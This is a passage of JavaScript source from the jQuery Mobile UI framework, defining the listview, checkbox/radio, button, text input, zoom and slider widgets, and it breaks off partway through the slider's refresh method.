{ itemClass = "ui-li-has-alt"; last = a.last(); splittheme = getAttr( last[ 0 ], "theme" ) || o.splitTheme || getAttr( item[ 0 ], "theme", true ); splitThemeClass = splittheme ? " ui-btn-" + splittheme : ""; spliticon = getAttr( last[ 0 ], "icon" ) || getAttr( item[ 0 ], "icon" ) || o.splitIcon; altButtonClass = "ui-btn ui-btn-icon-notext ui-icon-" + spliticon + splitThemeClass; last .attr( "title", $.trim( last.getEncodedText() ) ) .addClass( altButtonClass ) .empty(); // Reduce to the first anchor, because only the first gets the buttonClass a = a.first(); } else if ( icon ) { buttonClass += " ui-btn-icon-right ui-icon-" + icon; } // Apply buttonClass to the (first) anchor a.addClass( buttonClass ); } else if ( isDivider ) { dividerTheme = ( getAttr( item[ 0 ], "theme" ) || o.dividerTheme || o.theme ); itemClass = "ui-li-divider ui-bar-" + ( dividerTheme ? dividerTheme : "inherit" ); item.attr( "role", "heading" ); } else if ( a.length <= 0 ) { itemClass = "ui-li-static ui-body-" + ( itemTheme ? itemTheme : "inherit" ); } if ( ol && value ) { newStartCount = parseInt( value , 10 ) - 1; item.css( "counter-reset", "listnumbering " + newStartCount ); } } // Instead of setting item class directly on the list item // at this point in time, push the item into a dictionary // that tells us what class to set on it so we can do this after this // processing loop is finished. if ( !itemClassDict[ itemClass ] ) { itemClassDict[ itemClass ] = []; } itemClassDict[ itemClass ].push( item[ 0 ] ); } // Set the appropriate listview item classes on each list item. // The main reason we didn't do this // in the for-loop above is because we can eliminate per-item function overhead // by calling addClass() and children() once or twice afterwards. This // can give us a significant boost on platforms like WP7.5. for ( itemClass in itemClassDict ) { $( itemClassDict[ itemClass ] ).addClass( itemClass ); } countBubbles.each( function() { $( this ).closest( "li" ).addClass( "ui-li-has-count" ); }); if ( countThemeClass ) { countBubbles.not( "[class*='ui-body-']" ).addClass( countThemeClass ); } // Deprecated in 1.4. From 1.5 you have to add class ui-li-has-thumb or ui-li-has-icon to the LI. this._addThumbClasses( li ); this._addThumbClasses( li.find( ".ui-btn" ) ); this._afterListviewRefresh(); this._addFirstLastClasses( li, this._getVisibles( li, create ), create ); } }, $.mobile.behaviors.addFirstLastClasses ) ); })( jQuery ); (function( $, undefined ) { function defaultAutodividersSelector( elt ) { // look for the text in the given element var text = $.trim( elt.text() ) || null; if ( !text ) { return null; } // create the text for the divider (first uppercased letter) text = text.slice( 0, 1 ).toUpperCase(); return text; } $.widget( "mobile.listview", $.mobile.listview, { options: { autodividers: false, autodividersSelector: defaultAutodividersSelector }, _beforeListviewRefresh: function() { if ( this.options.autodividers ) { this._replaceDividers(); this._superApply( arguments ); } }, _replaceDividers: function() { var i, lis, li, dividerText, lastDividerText = null, list = this.element, divider; list.children( "li:jqmData(role='list-divider')" ).remove(); lis = list.children( "li" ); for ( i = 0; i < lis.length ; i++ ) { li = lis[ i ]; dividerText = this.options.autodividersSelector( $( li ) ); if ( dividerText && lastDividerText !== dividerText ) { divider = document.createElement( "li" ); divider.appendChild( document.createTextNode( dividerText ) ); divider.setAttribute( "data-" + $.mobile.ns + "role", "list-divider" ); li.parentNode.insertBefore( divider, li ); } lastDividerText = dividerText; } } }); })( jQuery ); (function( $, undefined ) { var rdivider = /(^|\s)ui-li-divider($|\s)/, rhidden = /(^|\s)ui-screen-hidden($|\s)/; $.widget( "mobile.listview", $.mobile.listview, { options: { hideDividers: false }, _afterListviewRefresh: function() { var items, idx, item, hideDivider = true; this._superApply( arguments ); if ( this.options.hideDividers ) { items = this._getChildrenByTagName( this.element[ 0 ], "li", "LI" ); for ( idx = items.length - 1 ; idx > -1 ; idx-- ) { item = items[ idx ]; if ( item.className.match( rdivider ) ) { if ( hideDivider ) { item.className = item.className + " ui-screen-hidden"; } hideDivider = true; } else { if ( !item.className.match( rhidden ) ) { hideDivider = false; } } } } } }); })( jQuery ); (function( $, undefined ) { $.mobile.nojs = function( target ) { $( ":jqmData(role='nojs')", target ).addClass( "ui-nojs" ); }; })( jQuery ); (function( $, undefined ) { $.mobile.behaviors.formReset = { _handleFormReset: function() { this._on( this.element.closest( "form" ), { reset: function() { this._delay( "_reset" ); } }); } }; })( jQuery ); /* * "checkboxradio" plugin */ (function( $, undefined ) { var escapeId = $.mobile.path.hashToSelector; $.widget( "mobile.checkboxradio", $.extend( { initSelector: "input:not( :jqmData(role='flipswitch' ) )[type='checkbox'],input[type='radio']:not( :jqmData(role='flipswitch' ))", options: { theme: "inherit", mini: false, wrapperClass: null, enhanced: false, iconpos: "left" }, _create: function() { var input = this.element, o = this.options, inheritAttr = function( input, dataAttr ) { return input.jqmData( dataAttr ) || input.closest( "form, fieldset" ).jqmData( dataAttr ); }, label = this.options.enhanced ? { element: this.element.siblings( "label" ), isParent: false } : this._findLabel(), inputtype = input[0].type, checkedClass = "ui-" + inputtype + "-on", uncheckedClass = "ui-" + inputtype + "-off"; if ( inputtype !== "checkbox" && inputtype !== "radio" ) { return; } if ( this.element[0].disabled ) { this.options.disabled = true; } o.iconpos = inheritAttr( input, "iconpos" ) || label.element.attr( "data-" + $.mobile.ns + "iconpos" ) || o.iconpos, // Establish options o.mini = inheritAttr( input, "mini" ) || o.mini; // Expose for other methods $.extend( this, { input: input, label: label.element, labelIsParent: label.isParent, inputtype: inputtype, checkedClass: checkedClass, uncheckedClass: uncheckedClass }); if ( !this.options.enhanced ) { this._enhance(); } this._on( label.element, { vmouseover: "_handleLabelVMouseOver", vclick: "_handleLabelVClick" }); this._on( input, { vmousedown: "_cacheVals", vclick: "_handleInputVClick", focus: "_handleInputFocus", blur: "_handleInputBlur" }); this._handleFormReset(); this.refresh(); }, _findLabel: function() { var parentLabel, label, isParent, input = this.element, labelsList = input[ 0 ].labels; if( labelsList && labelsList.length > 0 ) { label = $( labelsList[ 0 ] ); isParent = $.contains( label[ 0 ], input[ 0 ] ); } else { parentLabel = input.closest( "label" ); isParent = ( parentLabel.length > 0 ); // NOTE: Windows Phone could not find the label through a selector // filter works though. label = isParent ? parentLabel : $( this.document[ 0 ].getElementsByTagName( "label" ) ) .filter( "[for='" + escapeId( input[ 0 ].id ) + "']" ) .first(); } return { element: label, isParent: isParent }; }, _enhance: function() { this.label.addClass( "ui-btn ui-corner-all"); if ( this.labelIsParent ) { this.input.add( this.label ).wrapAll( this._wrapper() ); } else { //this.element.replaceWith( this.input.add( this.label ).wrapAll( this._wrapper() ) ); this.element.wrap( this._wrapper() ); this.element.parent().prepend( this.label ); } // Wrap the input + label in a div this._setOptions({ "theme": this.options.theme, "iconpos": this.options.iconpos, "mini": this.options.mini }); }, _wrapper: function() { return $( "<div class='" + ( this.options.wrapperClass ? this.options.wrapperClass : "" ) + " ui-" + this.inputtype + ( this.options.disabled ? " ui-state-disabled" : "" ) + "' ></div>" ); }, _handleInputFocus: function() { this.label.addClass( $.mobile.focusClass ); }, _handleInputBlur: function() { this.label.removeClass( $.mobile.focusClass ); }, _handleInputVClick: function() { // Adds checked attribute to checked input when keyboard is used this.element.prop( "checked", this.element.is( ":checked" ) ); this._getInputSet().not( this.element ).prop( "checked", false ); this._updateAll( true ); }, _handleLabelVMouseOver: function( event ) { if ( this.label.parent().hasClass( "ui-state-disabled" ) ) { event.stopPropagation(); } }, _handleLabelVClick: function( event ) { var input = this.element; if ( input.is( ":disabled" ) ) { event.preventDefault(); return; } this._cacheVals(); input.prop( "checked", this.inputtype === "radio" && true || !input.prop( "checked" ) ); // trigger click handler's bound directly to the input as a substitute for // how label clicks behave normally in the browsers // TODO: it would be nice to let the browser's handle the clicks and pass them // through to the associate input. we can swallow that click at the parent // wrapper element level input.triggerHandler( "click" ); // Input set for common radio buttons will contain all the radio // buttons, but will not for checkboxes. clearing the checked status // of other radios ensures the active button state is applied properly this._getInputSet().not( input ).prop( "checked", false ); this._updateAll(); return false; }, _cacheVals: function() { this._getInputSet().each( function() { $( this ).attr("data-" + $.mobile.ns + "cacheVal", this.checked ); }); }, // Returns those radio buttons that are supposed to be in the same group as // this radio button. In the case of a checkbox or a radio lacking a name // attribute, it returns this.element. _getInputSet: function() { var selector, formId, radio = this.element[ 0 ], name = radio.name, form = radio.form, doc = this.element.parents().last().get( 0 ), // A radio is always a member of its own group radios = this.element; // Only start running selectors if this is an attached radio button with a name if ( name && this.inputtype === "radio" && doc ) { selector = "input[type='radio'][name='" + escapeId( name ) + "']"; // If we're inside a form if ( form ) { formId = form.getAttribute( "id" ); // If the form has an ID, collect radios scattered throught the document which // nevertheless are part of the form by way of the value of their form attribute if ( formId ) { radios = $( selector + "[form='" + escapeId( formId ) + "']", doc ); } // Also add to those the radios in the form itself radios = $( form ).find( selector ).filter( function() { // Some radios inside the form may belong to some other form by virtue of // having a form attribute defined on them, so we must filter them out here return ( this.form === form ); }).add( radios ); // If we're outside a form } else { // Collect all those radios which are also outside of a form and match our name radios = $( selector, doc ).filter( function() { return !this.form; }); } } return radios; }, _updateAll: function( changeTriggered ) { var self = this; this._getInputSet().each( function() { var $this = $( this ); if ( ( this.checked || self.inputtype === "checkbox" ) && !changeTriggered ) { $this.trigger( "change" ); } }) .checkboxradio( "refresh" ); }, _reset: function() { this.refresh(); }, // Is the widget supposed to display an icon? _hasIcon: function() { var controlgroup, controlgroupWidget, controlgroupConstructor = $.mobile.controlgroup; // If the controlgroup widget is defined ... if ( controlgroupConstructor ) { controlgroup = this.element.closest( ":mobile-controlgroup," + controlgroupConstructor.prototype.initSelector ); // ... and the checkbox is in a controlgroup ... if ( controlgroup.length > 0 ) { // ... look for a controlgroup widget instance, and ... controlgroupWidget = $.data( controlgroup[ 0 ], "mobile-controlgroup" ); // ... if found, decide based on the option value, ... return ( ( controlgroupWidget ? controlgroupWidget.options.type : // ... otherwise decide based on the "type" data attribute. controlgroup.attr( "data-" + $.mobile.ns + "type" ) ) !== "horizontal" ); } } // Normally, the widget displays an icon. return true; }, refresh: function() { var isChecked = this.element[ 0 ].checked, active = $.mobile.activeBtnClass, iconposClass = "ui-btn-icon-" + this.options.iconpos, addClasses = [], removeClasses = []; if ( this._hasIcon() ) { removeClasses.push( active ); addClasses.push( iconposClass ); } else { removeClasses.push( iconposClass ); ( isChecked ? addClasses : removeClasses ).push( active ); } if ( isChecked ) { addClasses.push( this.checkedClass ); removeClasses.push( this.uncheckedClass ); } else { addClasses.push( this.uncheckedClass ); removeClasses.push( this.checkedClass ); } this.widget().toggleClass( "ui-state-disabled", this.element.prop( "disabled" ) ); this.label .addClass( addClasses.join( " " ) ) .removeClass( removeClasses.join( " " ) ); }, widget: function() { return this.label.parent(); }, _setOptions: function( options ) { var label = this.label, currentOptions = this.options, outer = this.widget(), hasIcon = this._hasIcon(); if ( options.disabled !== undefined ) { this.input.prop( "disabled", !!options.disabled ); outer.toggleClass( "ui-state-disabled", !!options.disabled ); } if ( options.mini !== undefined ) { outer.toggleClass( "ui-mini", !!options.mini ); } if ( options.theme !== undefined ) { label .removeClass( "ui-btn-" + currentOptions.theme ) .addClass( "ui-btn-" + options.theme ); } if ( options.wrapperClass !== undefined ) { outer .removeClass( currentOptions.wrapperClass ) .addClass( options.wrapperClass ); } if ( options.iconpos !== undefined && hasIcon ) { label.removeClass( "ui-btn-icon-" + currentOptions.iconpos ).addClass( "ui-btn-icon-" + options.iconpos ); } else if ( !hasIcon ) { label.removeClass( "ui-btn-icon-" + currentOptions.iconpos ); } this._super( options ); } }, $.mobile.behaviors.formReset ) ); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.button", { initSelector: "input[type='button'], input[type='submit'], input[type='reset']", options: { theme: null, icon: null, iconpos: "left", iconshadow: false, /* TODO: Deprecated in 1.4, remove in 1.5. */ corners: true, shadow: true, inline: null, mini: null, wrapperClass: null, enhanced: false }, _create: function() { if ( this.element.is( ":disabled" ) ) { this.options.disabled = true; } if ( !this.options.enhanced ) { this._enhance(); } $.extend( this, { wrapper: this.element.parent() }); this._on( { focus: function() { this.widget().addClass( $.mobile.focusClass ); }, blur: function() { this.widget().removeClass( $.mobile.focusClass ); } }); this.refresh( true ); }, _enhance: function() { this.element.wrap( this._button() ); }, _button: function() { var options = this.options, iconClasses = this._getIconClasses( this.options ); return $("<div class='ui-btn ui-input-btn" + ( options.wrapperClass ? " " + options.wrapperClass : "" ) + ( options.theme ? " ui-btn-" + options.theme : "" ) + ( options.corners ? " ui-corner-all" : "" ) + ( options.shadow ? " ui-shadow" : "" ) + ( options.inline ? " ui-btn-inline" : "" ) + ( options.mini ? " ui-mini" : "" ) + ( options.disabled ? " ui-state-disabled" : "" ) + ( iconClasses ? ( " " + iconClasses ) : "" ) + "' >" + this.element.val() + "</div>" ); }, widget: function() { return this.wrapper; }, _destroy: function() { this.element.insertBefore( this.wrapper ); this.wrapper.remove(); }, _getIconClasses: function( options ) { return ( options.icon ? ( "ui-icon-" + options.icon + ( options.iconshadow ? " ui-shadow-icon" : "" ) + /* TODO: Deprecated in 1.4, remove in 1.5. */ " ui-btn-icon-" + options.iconpos ) : "" ); }, _setOptions: function( options ) { var outer = this.widget(); if ( options.theme !== undefined ) { outer .removeClass( this.options.theme ) .addClass( "ui-btn-" + options.theme ); } if ( options.corners !== undefined ) { outer.toggleClass( "ui-corner-all", options.corners ); } if ( options.shadow !== undefined ) { outer.toggleClass( "ui-shadow", options.shadow ); } if ( options.inline !== undefined ) { outer.toggleClass( "ui-btn-inline", options.inline ); } if ( options.mini !== undefined ) { outer.toggleClass( "ui-mini", options.mini ); } if ( options.disabled !== undefined ) { this.element.prop( "disabled", options.disabled ); outer.toggleClass( "ui-state-disabled", options.disabled ); } if ( options.icon !== undefined || options.iconshadow !== undefined || /* TODO: Deprecated in 1.4, remove in 1.5. */ options.iconpos !== undefined ) { outer .removeClass( this._getIconClasses( this.options ) ) .addClass( this._getIconClasses( $.extend( {}, this.options, options ) ) ); } this._super( options ); }, refresh: function( create ) { var originalElement, isDisabled = this.element.prop( "disabled" ); if ( this.options.icon && this.options.iconpos === "notext" && this.element.attr( "title" ) ) { this.element.attr( "title", this.element.val() ); } if ( !create ) { originalElement = this.element.detach(); $( this.wrapper ).text( this.element.val() ).append( originalElement ); } if ( this.options.disabled !== isDisabled ) { this._setOptions({ disabled: isDisabled }); } } }); })( jQuery ); (function( $ ) { var meta = $( "meta[name=viewport]" ), initialContent = meta.attr( "content" ), disabledZoom = initialContent + ",maximum-scale=1, user-scalable=no", enabledZoom = initialContent + ",maximum-scale=10, user-scalable=yes", disabledInitially = /(user-scalable[\s]*=[\s]*no)|(maximum-scale[\s]*=[\s]*1)[$,\s]/.test( initialContent ); $.mobile.zoom = $.extend( {}, { enabled: !disabledInitially, locked: false, disable: function( lock ) { if ( !disabledInitially && !$.mobile.zoom.locked ) { meta.attr( "content", disabledZoom ); $.mobile.zoom.enabled = false; $.mobile.zoom.locked = lock || false; } }, enable: function( unlock ) { if ( !disabledInitially && ( !$.mobile.zoom.locked || unlock === true ) ) { meta.attr( "content", enabledZoom ); $.mobile.zoom.enabled = true; $.mobile.zoom.locked = false; } }, restore: function() { if ( !disabledInitially ) { meta.attr( "content", initialContent ); $.mobile.zoom.enabled = true; } } }); }( jQuery )); (function( $, undefined ) { $.widget( "mobile.textinput", { initSelector: "input[type='text']," + "input[type='search']," + ":jqmData(type='search')," + "input[type='number']," + ":jqmData(type='number')," + "input[type='password']," + "input[type='email']," + "input[type='url']," + "input[type='tel']," + "textarea," + "input[type='time']," + "input[type='date']," + "input[type='month']," + "input[type='week']," + "input[type='datetime']," + "input[type='datetime-local']," + "input[type='color']," + "input:not([type])," + "input[type='file']", options: { theme: null, corners: true, mini: false, // This option defaults to true on iOS devices. preventFocusZoom: /iPhone|iPad|iPod/.test( navigator.platform ) && navigator.userAgent.indexOf( "AppleWebKit" ) > -1, wrapperClass: "", enhanced: false }, _create: function() { var options = this.options, isSearch = this.element.is( "[type='search'], :jqmData(type='search')" ), isTextarea = this.element[ 0 ].tagName === "TEXTAREA", isRange = this.element.is( "[data-" + ( $.mobile.ns || "" ) + "type='range']" ), inputNeedsWrap = ( (this.element.is( "input" ) || this.element.is( "[data-" + ( $.mobile.ns || "" ) + "type='search']" ) ) && !isRange ); if ( this.element.prop( "disabled" ) ) { options.disabled = true; } $.extend( this, { classes: this._classesFromOptions(), isSearch: isSearch, isTextarea: isTextarea, isRange: isRange, inputNeedsWrap: inputNeedsWrap }); this._autoCorrect(); if ( !options.enhanced ) { this._enhance(); } this._on( { "focus": "_handleFocus", "blur": "_handleBlur" }); }, refresh: function() { this.setOptions({ "disabled" : this.element.is( ":disabled" ) }); }, _enhance: function() { var elementClasses = []; if ( this.isTextarea ) { elementClasses.push( "ui-input-text" ); } if ( this.isTextarea || this.isRange ) { elementClasses.push( "ui-shadow-inset" ); } //"search" and "text" input widgets if ( this.inputNeedsWrap ) { this.element.wrap( this._wrap() ); } else { elementClasses = elementClasses.concat( this.classes ); } this.element.addClass( elementClasses.join( " " ) ); }, widget: function() { return ( this.inputNeedsWrap ) ? this.element.parent() : this.element; }, _classesFromOptions: function() { var options = this.options, classes = []; classes.push( "ui-body-" + ( ( options.theme === null ) ? "inherit" : options.theme ) ); if ( options.corners ) { classes.push( "ui-corner-all" ); } if ( options.mini ) { classes.push( "ui-mini" ); } if ( options.disabled ) { classes.push( "ui-state-disabled" ); } if ( options.wrapperClass ) { classes.push( options.wrapperClass ); } return classes; }, _wrap: function() { return $( "<div class='" + ( this.isSearch ? "ui-input-search " : "ui-input-text " ) + this.classes.join( " " ) + " " + "ui-shadow-inset'></div>" ); }, _autoCorrect: function() { // XXX: Temporary workaround for issue 785 (Apple bug 8910589). // Turn off autocorrect and autocomplete on non-iOS 5 devices // since the popup they use can't be dismissed by the user. Note // that we test for the presence of the feature by looking for // the autocorrect property on the input element. We currently // have no test for iOS 5 or newer so we're temporarily using // the touchOverflow support flag for jQM 1.0. Yes, I feel dirty. // - jblas if ( typeof this.element[0].autocorrect !== "undefined" && !$.support.touchOverflow ) { // Set the attribute instead of the property just in case there // is code that attempts to make modifications via HTML. this.element[0].setAttribute( "autocorrect", "off" ); this.element[0].setAttribute( "autocomplete", "off" ); } }, _handleBlur: function() { this.widget().removeClass( $.mobile.focusClass ); if ( this.options.preventFocusZoom ) { $.mobile.zoom.enable( true ); } }, _handleFocus: function() { // In many situations, iOS will zoom into the input upon tap, this // prevents that from happening if ( this.options.preventFocusZoom ) { $.mobile.zoom.disable( true ); } this.widget().addClass( $.mobile.focusClass ); }, _setOptions: function ( options ) { var outer = this.widget(); this._super( options ); if ( !( options.disabled === undefined && options.mini === undefined && options.corners === undefined && options.theme === undefined && options.wrapperClass === undefined ) ) { outer.removeClass( this.classes.join( " " ) ); this.classes = this._classesFromOptions(); outer.addClass( this.classes.join( " " ) ); } if ( options.disabled !== undefined ) { this.element.prop( "disabled", !!options.disabled ); } }, _destroy: function() { if ( this.options.enhanced ) { return; } if ( this.inputNeedsWrap ) { this.element.unwrap(); } this.element.removeClass( "ui-input-text " + this.classes.join( " " ) ); } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.slider", $.extend( { initSelector: "input[type='range'], :jqmData(type='range'), :jqmData(role='slider')", widgetEventPrefix: "slide", options: { theme: null, trackTheme: null, corners: true, mini: false, highlight: false }, _create: function() { // TODO: Each of these should have comments explain what they're for var self = this, control = this.element, trackTheme = this.options.trackTheme || $.mobile.getAttribute( control[ 0 ], "theme" ), trackThemeClass = trackTheme ? " ui-bar-" + trackTheme : " ui-bar-inherit", cornerClass = ( this.options.corners || control.jqmData( "corners" ) ) ? " ui-corner-all" : "", miniClass = ( this.options.mini || control.jqmData( "mini" ) ) ? " ui-mini" : "", cType = control[ 0 ].nodeName.toLowerCase(), isToggleSwitch = ( cType === "select" ), isRangeslider = control.parent().is( ":jqmData(role='rangeslider')" ), selectClass = ( isToggleSwitch ) ? "ui-slider-switch" : "", controlID = control.attr( "id" ), $label = $( "[for='" + controlID + "']" ), labelID = $label.attr( "id" ) || controlID + "-label", min = !isToggleSwitch ? parseFloat( control.attr( "min" ) ) : 0, max = !isToggleSwitch ? parseFloat( control.attr( "max" ) ) : control.find( "option" ).length-1, step = window.parseFloat( control.attr( "step" ) || 1 ), domHandle = document.createElement( "a" ), handle = $( domHandle ), domSlider = document.createElement( "div" ), slider = $( domSlider ), valuebg = this.options.highlight && !isToggleSwitch ? (function() { var bg = document.createElement( "div" ); bg.className = "ui-slider-bg " + $.mobile.activeBtnClass; return $( bg ).prependTo( slider ); })() : false, options, wrapper, j, length, i, optionsCount, origTabIndex, side, activeClass, sliderImg; $label.attr( "id", labelID ); this.isToggleSwitch = isToggleSwitch; domHandle.setAttribute( "href", "#" ); domSlider.setAttribute( "role", "application" ); domSlider.className = [ this.isToggleSwitch ? "ui-slider ui-slider-track ui-shadow-inset " : "ui-slider-track ui-shadow-inset ", selectClass, trackThemeClass, cornerClass, miniClass ].join( "" ); domHandle.className = "ui-slider-handle"; domSlider.appendChild( domHandle ); handle.attr({ "role": "slider", "aria-valuemin": min, "aria-valuemax": max, "aria-valuenow": this._value(), "aria-valuetext": this._value(), "title": this._value(), "aria-labelledby": labelID }); $.extend( this, { slider: slider, handle: handle, control: control, type: cType, step: step, max: max, min: min, valuebg: valuebg, isRangeslider: isRangeslider, dragging: false, beforeStart: null, userModified: false, mouseMoved: false }); if ( isToggleSwitch ) { // TODO: restore original tabindex (if any) in a destroy method origTabIndex = control.attr( "tabindex" ); if ( origTabIndex ) { handle.attr( "tabindex", origTabIndex ); } control.attr( "tabindex", "-1" ).focus(function() { $( this ).blur(); handle.focus(); }); wrapper = document.createElement( "div" ); wrapper.className = "ui-slider-inneroffset"; for ( j = 0, length = domSlider.childNodes.length; j < length; j++ ) { wrapper.appendChild( domSlider.childNodes[j] ); } domSlider.appendChild( wrapper ); // slider.wrapInner( "<div class='ui-slider-inneroffset'></div>" ); // make the handle move with a smooth transition handle.addClass( "ui-slider-handle-snapping" ); options = control.find( "option" ); for ( i = 0, optionsCount = options.length; i < optionsCount; i++ ) { side = !i ? "b" : "a"; activeClass = !i ? "" : " " + $.mobile.activeBtnClass; sliderImg = document.createElement( "span" ); sliderImg.className = [ "ui-slider-label ui-slider-label-", side, activeClass ].join( "" ); sliderImg.setAttribute( "role", "img" ); sliderImg.appendChild( document.createTextNode( options[i].innerHTML ) ); $( sliderImg ).prependTo( slider ); } self._labels = $( ".ui-slider-label", slider ); } // monitor the input for updated values control.addClass( isToggleSwitch ? "ui-slider-switch" : "ui-slider-input" ); this._on( control, { "change": "_controlChange", "keyup": "_controlKeyup", "blur": "_controlBlur", "vmouseup": "_controlVMouseUp" }); slider.bind( "vmousedown", $.proxy( this._sliderVMouseDown, this ) ) .bind( "vclick", false ); // We have to instantiate a new function object for the unbind to work properly // since the method itself is defined in the prototype (causing it to unbind everything) this._on( document, { "vmousemove": "_preventDocumentDrag" }); this._on( slider.add( document ), { "vmouseup": "_sliderVMouseUp" }); slider.insertAfter( control ); // wrap in a div for styling purposes if ( !isToggleSwitch && !isRangeslider ) { wrapper = this.options.mini ? "<div class='ui-slider ui-mini'>" : "<div class='ui-slider'>"; control.add( slider ).wrapAll( wrapper ); } // bind the handle event callbacks and set the context to the widget instance this._on( this.handle, { "vmousedown": "_handleVMouseDown", "keydown": "_handleKeydown", "keyup": "_handleKeyup" }); this.handle.bind( "vclick", false ); this._handleFormReset(); this.refresh( undefined, undefined, true ); }, _setOptions: function( options ) { if ( options.theme !== undefined ) { this._setTheme( options.theme ); } if ( options.trackTheme !== undefined ) { this._setTrackTheme( options.trackTheme ); } if ( options.corners !== undefined ) { this._setCorners( options.corners ); } if ( options.mini !== undefined ) { this._setMini( options.mini ); } if ( options.highlight !== undefined ) { this._setHighlight( options.highlight ); } if ( options.disabled !== undefined ) { this._setDisabled( options.disabled ); } this._super( options ); }, _controlChange: function( event ) { // if the user dragged the handle, the "change" event was triggered from inside refresh(); don't call refresh() again if ( this._trigger( "controlchange", event ) === false ) { return false; } if ( !this.mouseMoved ) { this.refresh( this._value(), true ); } }, _controlKeyup: function(/* event */) { // necessary? this.refresh( this._value(), true, true ); }, _controlBlur: function(/* event */) { this.refresh( this._value(), true ); }, // it appears the clicking the up and down buttons in chrome on // range/number inputs doesn't trigger a change until the field is // blurred. Here we check thif the value has changed and refresh _controlVMouseUp: function(/* event */) { this._checkedRefresh(); }, // NOTE force focus on handle _handleVMouseDown: function(/* event */) { this.handle.focus(); }, _handleKeydown: function( event ) { var index = this._value(); if ( this.options.disabled ) { return; } // In all cases prevent the default and mark the handle as active switch ( event.keyCode ) { case $.mobile.keyCode.HOME: case $.mobile.keyCode.END: case $.mobile.keyCode.PAGE_UP: case $.mobile.keyCode.PAGE_DOWN: case $.mobile.keyCode.UP: case $.mobile.keyCode.RIGHT: case $.mobile.keyCode.DOWN: case $.mobile.keyCode.LEFT: event.preventDefault(); if ( !this._keySliding ) { this._keySliding = true; this.handle.addClass( "ui-state-active" ); /* TODO: We don't use this class for styling. Do we need to add it? */ } break; } // move the slider according to the keypress switch ( event.keyCode ) { case $.mobile.keyCode.HOME: this.refresh( this.min ); break; case $.mobile.keyCode.END: this.refresh( this.max ); break; case $.mobile.keyCode.PAGE_UP: case $.mobile.keyCode.UP: case $.mobile.keyCode.RIGHT: this.refresh( index + this.step ); break; case $.mobile.keyCode.PAGE_DOWN: case $.mobile.keyCode.DOWN: case $.mobile.keyCode.LEFT: this.refresh( index - this.step ); break; } }, // remove active mark _handleKeyup: function(/* event */) { if ( this._keySliding ) { this._keySliding = false; this.handle.removeClass( "ui-state-active" ); /* See comment above. */ } }, _sliderVMouseDown: function( event ) { // NOTE: we don't do this in refresh because we still want to // support programmatic alteration of disabled inputs if ( this.options.disabled || !( event.which === 1 || event.which === 0 || event.which === undefined ) ) { return false; } if ( this._trigger( "beforestart", event ) === false ) { return false; } this.dragging = true; this.userModified = false; this.mouseMoved = false; if ( this.isToggleSwitch ) { this.beforeStart = this.element[0].selectedIndex; } this.refresh( event ); this._trigger( "start" ); return false; }, _sliderVMouseUp: function() { if ( this.dragging ) { this.dragging = false; if ( this.isToggleSwitch ) { // make the handle move with a smooth transition this.handle.addClass( "ui-slider-handle-snapping" ); if ( this.mouseMoved ) { // this is a drag, change the value only if user dragged enough if ( this.userModified ) { this.refresh( this.beforeStart === 0 ? 1 : 0 ); } else { this.refresh( this.beforeStart ); } } else { // this is just a click, change the value this.refresh( this.beforeStart === 0 ? 1 : 0 ); } } this.mouseMoved = false; this._trigger( "stop" ); return false; } }, _preventDocumentDrag: function( event ) { // NOTE: we don't do this in refresh because we still want to // support programmatic alteration of disabled inputs if ( this._trigger( "drag", event ) === false) { return false; } if ( this.dragging && !this.options.disabled ) { // this.mouseMoved must be updated before refresh() because it will be used in the control "change" event this.mouseMoved = true; if ( this.isToggleSwitch ) { // make the handle move in sync with the mouse this.handle.removeClass( "ui-slider-handle-snapping" ); } this.refresh( event ); // only after refresh() you can calculate this.userModified this.userModified = this.beforeStart !== this.element[0].selectedIndex; return false; } }, _checkedRefresh: function() { if ( this.value !== this._value() ) { this.refresh( this._value() ); } }, _value: function() { return this.isToggleSwitch ? this.element[0].selectedIndex : parseFloat( this.element.val() ) ; }, _reset: function() { this.refresh( undefined, false, true ); }, refresh: function( val, isfromControl, preventInputUpdate ) { // NOTE: we don't return here because we want to support programmatic // alteration of the input value, which should still update the slider var self = this, parentTheme = $.mobile.getAttribute( this.element[ 0 ], "theme" ), theme = this.options.theme || parentTheme, themeClass = theme ? " ui-btn-" + theme : "", trackTheme = this.options.trackTheme || parentTheme, trackThemeClass = trackTheme ? " ui-bar-" + trackTheme : " ui-bar-inherit", cornerClass = this.options.corners ? " ui-corner-all" : "", miniClass = this.options.mini ? " ui-mini" : "", left, width, data, tol, pxStep, percent, control, isInput, optionElements, min, max, step, newval, valModStep, alignValue, percentPerStep, handlePercent, aPercent, bPercent, valueChanged; self.slider[0].className = [ this.isToggleSwitch ? "ui-slider ui-slider-switch ui-slider-track ui-shadow-inset" : "ui-slider-track ui-shadow-inset", trackThemeClass, cornerClass, miniClass ].join( "" ); if ( this.options.disabled || this.element.prop( "disabled" ) ) { this.disable(); } // set the stored value for comparison later this.value = this._value(); if ( this.options.highlight && !this.isToggleSwitch && this.slider.find( ".ui-slider-bg" ).length === 0 ) { this.valuebg = (function() { var bg = document.createElement( "div" ); bg.className = "ui-slider-bg " + $.mobile.activeBtnClass; return $( bg ).prependTo( self.slider ); })(); } this.handle.addClass( "ui-btn" + themeClass + " ui-shadow" ); control = this.element; isInput = !this.isToggleSwitch; optionElements = isInput ? [] : control.find( "option" ); min = isInput ? parseFloat( control.attr( "min" ) ) : 0; max = isInput ? parseFloat( control.attr( "max" ) ) : optionElements.length - 1; step = ( isInput && parseFloat( control.attr( "step" ) ) > 0 ) ? parseFloat( control.attr( "step" ) ) : 1; if ( typeof val === "object" ) { data = val; // a slight tolerance helped get to the ends of the slider tol = 8; left = this.slider.offset().left; width = this.slider.width(); pxStep = width/((max-min)/step); if ( !this.dragging || data.pageX < left - tol || data.pageX > left + width + tol ) { return; } if ( pxStep > 1 ) { percent = ( ( data.pageX - left ) / width ) * 100; } else { percent = Math.round( ( ( data.pageX - left ) / width ) * 100 ); } } else { if ( val == null ) { val = isInput ? parseFloat( control.val() || 0 ) : control[0].selectedIndex; } percent = ( parseFloat( val ) - min ) / ( max - min ) * 100; } if ( isNaN( percent ) ) { return; } newval = ( percent / 100 ) * ( max - min ) + min; //from jQuery UI slider, the following source will round to the nearest step valModStep = ( newval - min ) % step; alignValue = newval - valModStep; if ( Math.abs( valModStep ) * 2 >= step ) { alignValue += ( valModStep > 0 ) ? step : ( -step ); } percentPerStep = 100/((max-min)/step); // Since JavaScript has problems with large floats, round // the final value to 5 digits after the decimal point (see jQueryUI: #4124) newval = parseFloat( 